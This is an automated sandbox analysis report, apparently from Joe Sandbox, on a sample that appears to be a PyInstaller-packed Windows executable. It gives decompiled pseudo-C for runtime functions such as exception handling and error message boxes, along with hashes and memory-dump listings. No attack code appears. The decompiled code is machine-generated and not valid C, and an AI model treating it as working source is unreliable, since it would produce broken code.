                                                                                                                              0x7ff7da8ef2f3
                                                                                                                              0x7ff7da8ef2f7
                                                                                                                              0x7ff7da8ef2fc
                                                                                                                              0x7ff7da8ef313
                                                                                                                              0x7ff7da8ef31d
                                                                                                                              0x7ff7da8ef31f
                                                                                                                              0x7ff7da8ef323
                                                                                                                              0x7ff7da8ef32a
                                                                                                                              0x7ff7da8ef330
                                                                                                                              0x7ff7da8ef336
                                                                                                                              0x7ff7da8ef33e
                                                                                                                              0x7ff7da8ef340
                                                                                                                              0x7ff7da8ef357
                                                                                                                              0x7ff7da8ef359
                                                                                                                              0x7ff7da8ef35d
                                                                                                                              0x7ff7da8ef35f
                                                                                                                              0x7ff7da8ef376
                                                                                                                              0x7ff7da8ef378
                                                                                                                              0x7ff7da8ef37f
                                                                                                                              0x7ff7da8ef381
                                                                                                                              0x7ff7da8ef398
                                                                                                                              0x7ff7da8ef39a
                                                                                                                              0x7ff7da8ef3a5
                                                                                                                              0x7ff7da8ef3b2
                                                                                                                              0x7ff7da8ef3b7
                                                                                                                              0x7ff7da8ef3bc
                                                                                                                              0x7ff7da8ef3c1
                                                                                                                              0x7ff7da8ef3e9

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                              • API String ID: 3215553584-1196891531
                                                                                                                              • Opcode ID: abbf5a816cf9790d87ba27718c5909264acedcf573467f627084beda8466296f
                                                                                                                              • Instruction ID: cd5cba1d9fa43e235ed0e76f0020f230da25ac1a3bad6b98b0dcd543ff5feb44
                                                                                                                              • Opcode Fuzzy Hash: abbf5a816cf9790d87ba27718c5909264acedcf573467f627084beda8466296f
                                                                                                                              • Instruction Fuzzy Hash: 4981A436D0A643C5F6676E25C11027DB690BB31B48FD580B7CE0D97287DB2EEE219721
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DE068 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 68%
                                                                                                                              			E00007FF77FF7DA8DE068(long long __rbx, intOrPtr* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t19;
				void* _t27;
				void* _t36;
				void* _t39;
				void* _t42;
				void* _t43;
				void* _t45;
				void* _t46;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;

				_t27 = _t45;
				 *((long long*)(_t27 + 0x20)) = __rbx;
				 *((long long*)(_t27 + 0x18)) = __r8;
				 *((long long*)(_t27 + 0x10)) = __rdx;
				_t43 = _t27 - 0x3f;
				_t46 = _t45 - 0xc0;
				if ( *__rcx == 0x80000003) goto 0xda8de10c;
				E00007FF77FF7DA8DCC80(_t27);
				r12d =  *((intOrPtr*)(_t43 + 0x6f));
				if ( *((long long*)(_t27 + 0x10)) == 0) goto 0xda8de127;
				__imp__EncodePointer(_t59, _t56, _t54, _t52, _t36, _t39, _t42);
				E00007FF77FF7DA8DCC80(_t27);
				if ( *((intOrPtr*)(_t27 + 0x10)) == _t27) goto 0xda8de127;
				if ( *__rcx == 0xe0434f4d) goto 0xda8de127;
				r13d =  *((intOrPtr*)(_t43 + 0x77));
				if ( *__rcx == 0xe0434352) goto 0xda8de12b;
				 *((intOrPtr*)(_t46 + 0x38)) = r12d;
				 *((long long*)(_t46 + 0x30)) =  *((intOrPtr*)(_t43 + 0x7f));
				 *((intOrPtr*)(_t46 + 0x28)) = r13d;
				 *((long long*)(_t46 + 0x20)) =  *((intOrPtr*)(_t43 + 0x67));
				_t19 = E00007FF77FF7DA8DD128(__rcx,  *((intOrPtr*)(_t43 + 0x4f)), __r8, __r9);
				if (_t19 == 0) goto 0xda8de12b;
				return _t19;
			}















                                                                                                                              0x7ff7da8de068
                                                                                                                              0x7ff7da8de06b
                                                                                                                              0x7ff7da8de06f
                                                                                                                              0x7ff7da8de073
                                                                                                                              0x7ff7da8de082
                                                                                                                              0x7ff7da8de086
                                                                                                                              0x7ff7da8de09c
                                                                                                                              0x7ff7da8de09e
                                                                                                                              0x7ff7da8de0a3
                                                                                                                              0x7ff7da8de0b0
                                                                                                                              0x7ff7da8de0b4
                                                                                                                              0x7ff7da8de0bd
                                                                                                                              0x7ff7da8de0c6
                                                                                                                              0x7ff7da8de0cf
                                                                                                                              0x7ff7da8de0d8
                                                                                                                              0x7ff7da8de0dc
                                                                                                                              0x7ff7da8de0ec
                                                                                                                              0x7ff7da8de0f4
                                                                                                                              0x7ff7da8de0f9
                                                                                                                              0x7ff7da8de0fe
                                                                                                                              0x7ff7da8de103
                                                                                                                              0x7ff7da8de10a
                                                                                                                              0x7ff7da8de126

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CallEncodePointerTranslator
                                                                                                                              • String ID: MOC$RCC
                                                                                                                              • API String ID: 3544855599-2084237596
                                                                                                                              • Opcode ID: 7d592ac69212e988a1052134f2f1a45de81130431c633717d475d5b1a3e6a8fe
                                                                                                                              • Instruction ID: 6d0b9d1679c9eef083db72db7e68e5240d3715a5b69081efcb1fad2ef9e424ea
                                                                                                                              • Opcode Fuzzy Hash: 7d592ac69212e988a1052134f2f1a45de81130431c633717d475d5b1a3e6a8fe
                                                                                                                              • Instruction Fuzzy Hash: 46615D33A09B458AFB119F65D4803ADB7A0FB44B88F884266EF4D17B96DB3CE165C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD862833 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: ..\s\crypto\async\async.c$T
                                                                                                                              • API String ID: 0-2182492907
                                                                                                                              • Opcode ID: e694b929782d19c12b6d176ca896e3583fca2558b7f986e07836b8c6829b0435
                                                                                                                              • Instruction ID: 2cbba0b1ce95c7d37e569ab14020c15481c73816ba93eaa75bce22cef24e9556
                                                                                                                              • Opcode Fuzzy Hash: e694b929782d19c12b6d176ca896e3583fca2558b7f986e07836b8c6829b0435
                                                                                                                              • Instruction Fuzzy Hash: C951C13161866A86E710AB65D4206B9A370EF44790F404479EA6E07BD6FF3DEA09C7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D24D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 59%
                                                                                                                              			E00007FF77FF7DA8D24D0(void* __eflags, void* __rax, long long __rcx, signed long long __rdx, long long __r8, long long __r9, long long _a8, signed long long _a16, char _a24, long long _a32, char _a1048, char _a2072, char _a4120, signed int _a6168, char _a6232) {
				void* __rbx;
				void* __rsi;
				void* _t22;
				void* _t38;
				void* _t39;
				signed long long _t44;
				signed long long _t45;
				void* _t64;
				void* _t74;
				void* _t75;

				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t22 = E00007FF77FF7DA8DAD20(0x1840, __rax, _t74, _t75);
				_t65 = _t64 - __rax;
				_t44 =  *0xda90d008; // 0xe3add53f52b8
				_t45 = _t44 ^ _t64 - __rax;
				_a6168 = _t45;
				_t46 = __rdx;
				E00007FF77FF7DA8D1040(_t22);
				_a16 =  &_a6232;
				_a8 = 0;
				r8d = 0x400;
				E00007FF77FF7DA8E3B34(_t38, _t39,  *_t45 | 0x00000002,  &_a1048, __r8, __rdx);
				E00007FF77FF7DA8E4394(_t45);
				E00007FF77FF7DA8E43B4( *_t45, _t45, __rdx,  &_a6232);
				_a16 = _t45;
				_a8 = __rcx;
				E00007FF77FF7DA8D1B30(_t45,  &_a24,  &_a1048, "%s%s: %s",  &_a1048);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t45, _t46,  &_a4120,  &_a24,  &_a6232, "%s%s: %s");
				if (_t45 == 0) goto 0xda8d25df;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t45, _t46,  &_a2072, "Fatal error detected",  &_a6232, "%s%s: %s");
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d25f9;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a6168 ^ _t65);
			}













                                                                                                                              0x7ff7da8d24d0
                                                                                                                              0x7ff7da8d24d5
                                                                                                                              0x7ff7da8d24da
                                                                                                                              0x7ff7da8d24e7
                                                                                                                              0x7ff7da8d24ec
                                                                                                                              0x7ff7da8d24ef
                                                                                                                              0x7ff7da8d24f6
                                                                                                                              0x7ff7da8d24f9
                                                                                                                              0x7ff7da8d2501
                                                                                                                              0x7ff7da8d250f
                                                                                                                              0x7ff7da8d2514
                                                                                                                              0x7ff7da8d2524
                                                                                                                              0x7ff7da8d252d
                                                                                                                              0x7ff7da8d253a
                                                                                                                              0x7ff7da8d253f
                                                                                                                              0x7ff7da8d2546
                                                                                                                              0x7ff7da8d254b
                                                                                                                              0x7ff7da8d255f
                                                                                                                              0x7ff7da8d256e
                                                                                                                              0x7ff7da8d257d
                                                                                                                              0x7ff7da8d2583
                                                                                                                              0x7ff7da8d2588
                                                                                                                              0x7ff7da8d259b
                                                                                                                              0x7ff7da8d25a3
                                                                                                                              0x7ff7da8d25a5
                                                                                                                              0x7ff7da8d25ba
                                                                                                                              0x7ff7da8d25bf
                                                                                                                              0x7ff7da8d25d7
                                                                                                                              0x7ff7da8d25dd
                                                                                                                              0x7ff7da8d25df
                                                                                                                              0x7ff7da8d2613

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ByteCharMultiWide
                                                                                                                              • String ID: %s%s: %s$Fatal error detected
                                                                                                                              • API String ID: 1878133881-2410924014
                                                                                                                              • Opcode ID: 2ca8b161c2e9c3bcdb1472a4893fefc60b501485010ef6ee025377ec5ef74353
                                                                                                                              • Instruction ID: 270727b3e0b3ab2777241ecc34e6a5c4bb8d6afb301644a0a6c5a4fe7a15981b
                                                                                                                              • Opcode Fuzzy Hash: 2ca8b161c2e9c3bcdb1472a4893fefc60b501485010ef6ee025377ec5ef74353
                                                                                                                              • Instruction Fuzzy Hash: 48318C72628A8281FA21BB10E4517EEE364FF94784FC44076EE8D07A9ADF3CD615CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD741F30 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PyErr_SetString.PYTHON310(?,?,?,?,?,00007FFCFD741F1C), ref: 00007FFCFD743C13
                                                                                                                                • Part of subcall function 00007FFCFD742010: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFCFD74205A
                                                                                                                                • Part of subcall function 00007FFCFD742010: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFCFD742078
                                                                                                                              • PyErr_Format.PYTHON310 ref: 00007FFCFD741F93
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Err_strncmp$FormatString
                                                                                                                              • String ID: name too long$undefined character name '%s'
                                                                                                                              • API String ID: 3882229318-4056717002
                                                                                                                              • Opcode ID: 81816cf60a1bcc302cc1fe3ff3cbeb8f8710d0be9fb126c8309565961db1bd99
                                                                                                                              • Instruction ID: d1686b2faf0cd6e152030acaf4b1e4de70a4f952081bb4a4a97a456c6064b063
                                                                                                                              • Opcode Fuzzy Hash: 81816cf60a1bcc302cc1fe3ff3cbeb8f8710d0be9fb126c8309565961db1bd99
                                                                                                                              • Instruction Fuzzy Hash: 42115472A18D6BC2EB019B14D4A42F9A361FB4575AF400433CA2D4B2E8FF6DD14AC7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D3B80 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 33%
                                                                                                                              			E00007FF77FF7DA8D3B80(void* __rax, long long __rcx, char _a24, signed int _a8216) {
				void* __rbx;
				intOrPtr _t16;
				signed long long _t21;
				signed long long _t22;
				void* _t33;
				void* _t34;
				void* _t35;
				void* _t38;
				void* _t39;
				void* _t40;
				void* _t41;

				E00007FF77FF7DA8DAD20(0x2030, __rax, _t40, _t41);
				_t36 = _t35 - __rax;
				_t21 =  *0xda90d008; // 0xe3add53f52b8
				_t22 = _t21 ^ _t35 - __rax;
				_a8216 = _t22;
				r8d = 0x1000;
				if (GetModuleFileNameW(??, ??, ??) != 0) goto 0xda8d3bd2;
				E00007FF77FF7DA8D2620(GetModuleFileNameW(??, ??, ??), _t22, "GetModuleFileNameW", "Failed to get executable path.\n", _t38, _t39);
				goto 0xda8d3bff;
				r8d = 0x1000;
				E00007FF77FF7DA8D7AB0(_t16, __rcx, __rcx,  &_a24, _t33, _t34, _t38);
				if (_t22 != 0) goto 0xda8d3bfa;
				E00007FF77FF7DA8D2770(_t22, "Failed to convert executable path to UTF-8.\n",  &_a24, _t38, _t39);
				goto 0xda8d3bff;
				return E00007FF77FF7DA8DACF0(1, 0, _a8216 ^ _t36);
			}














                                                                                                                              0x7ff7da8d3b87
                                                                                                                              0x7ff7da8d3b8c
                                                                                                                              0x7ff7da8d3b8f
                                                                                                                              0x7ff7da8d3b96
                                                                                                                              0x7ff7da8d3b99
                                                                                                                              0x7ff7da8d3bab
                                                                                                                              0x7ff7da8d3bb9
                                                                                                                              0x7ff7da8d3bc9
                                                                                                                              0x7ff7da8d3bd0
                                                                                                                              0x7ff7da8d3bd2
                                                                                                                              0x7ff7da8d3be0
                                                                                                                              0x7ff7da8d3be8
                                                                                                                              0x7ff7da8d3bf1
                                                                                                                              0x7ff7da8d3bf8
                                                                                                                              0x7ff7da8d3c17

                                                                                                                              APIs
                                                                                                                              • GetModuleFileNameW.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D3BB1
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7DA8D76B4,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8D101D), ref: 00007FF7DA8D2654
                                                                                                                                • Part of subcall function 00007FF7DA8D2620: MessageBoxW.USER32 ref: 00007FF7DA8D272C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastMessageModuleName
                                                                                                                              • String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
                                                                                                                              • API String ID: 2581892565-1977442011
                                                                                                                              • Opcode ID: 04e6919d6207e873115f5cfbaabaf22d19ebcbc8c50bb68e17d57e50300a9c4c
                                                                                                                              • Instruction ID: d4587f5cf85cfe86ec07f74debcbb7f69452307fefef563fc9da97b3946a1904
                                                                                                                              • Opcode Fuzzy Hash: 04e6919d6207e873115f5cfbaabaf22d19ebcbc8c50bb68e17d57e50300a9c4c
                                                                                                                              • Instruction Fuzzy Hash: 52017121B1964388FE62B720E8063BDD351BF987C4FC814B3DC4E86297EE5DE1658720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD866438 Relevance: 6.4, APIs: 2, Strings: 2, Instructions: 395COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset
                                                                                                                              • String ID: ..\s\crypto\sm2\sm2_crypt.c$@
                                                                                                                              • API String ID: 2221118986-485510600
                                                                                                                              • Opcode ID: c882ba9c0604a85703c9e8026ccbe839822b8dd4924dca6024d0f7333c9d2aba
                                                                                                                              • Instruction ID: 64cddaabc814f2ce0489a8757aba492c3dace1bdaa5700f11481ecb2bbee46eb
                                                                                                                              • Opcode Fuzzy Hash: c882ba9c0604a85703c9e8026ccbe839822b8dd4924dca6024d0f7333c9d2aba
                                                                                                                              • Instruction Fuzzy Hash: 5402A43261CAAA85EB10DB15E4206AEB760FB85B84F404135EAAD07BE5EF3DD505C7F0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EB9C0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 53%
                                                                                                                              			E00007FF77FF7DA8EB9C0(void* __eax, signed int __edx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t184;
				signed int _t188;
				signed int _t195;
				signed int _t200;
				intOrPtr _t209;
				void* _t211;
				signed char _t212;
				void* _t229;
				void* _t262;
				signed long long _t263;
				long long _t268;
				long long _t270;
				void* _t271;
				long long _t273;
				intOrPtr* _t279;
				intOrPtr* _t286;
				long long _t288;
				long long _t315;
				void* _t323;
				long long _t324;
				void* _t325;
				long long _t326;
				intOrPtr* _t327;
				long long _t328;
				signed char* _t329;
				signed char* _t330;
				signed char* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				signed long long _t335;
				intOrPtr _t338;
				intOrPtr _t341;
				void* _t343;
				signed long long _t345;
				signed long long _t347;
				long long _t356;
				void* _t360;
				long long _t361;
				signed long long _t364;
				char _t365;
				signed long long _t366;
				void* _t369;
				signed char* _t370;
				signed long long _t372;

				_t262 = _t334;
				_t333 = _t262 - 0x57;
				_t335 = _t334 - 0xd0;
				 *((long long*)(_t333 - 9)) = 0xfffffffe;
				 *((long long*)(_t262 + 8)) = __rbx;
				_t263 =  *0xda90d008; // 0xe3add53f52b8
				 *(_t333 + 0x17) = _t263 ^ _t335;
				_t327 = __r8;
				 *((long long*)(_t333 - 0x41)) = __r8;
				_t279 = __rcx;
				 *((long long*)(_t333 - 0x59)) =  *((intOrPtr*)(_t333 + 0x7f));
				_t364 = __edx >> 6;
				 *(_t333 - 0x39) = _t364;
				_t372 = __edx + __edx * 8;
				_t268 =  *((intOrPtr*)( *((intOrPtr*)(0x7ff7da8d0000 + 0x4ca20 + _t364 * 8)) + 0x28 + _t372 * 8));
				 *((long long*)(_t333 - 0x19)) = _t268;
				r12d = r9d;
				_t361 = _t360 + __r8;
				 *((long long*)(_t333 - 0x61)) = _t361;
				 *((intOrPtr*)(_t333 - 0x49)) = GetConsoleOutputCP();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t333 - 0x59)) + 0x28)) != dil) goto 0xda8eba60;
				E00007FF77FF7DA8E3970(_t268, __rcx,  *((intOrPtr*)(_t333 - 0x59)), __r8);
				_t209 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t333 - 0x59)) + 0x18)) + 0xc));
				 *((intOrPtr*)(_t333 - 0x45)) = _t209;
				 *_t279 = _t268;
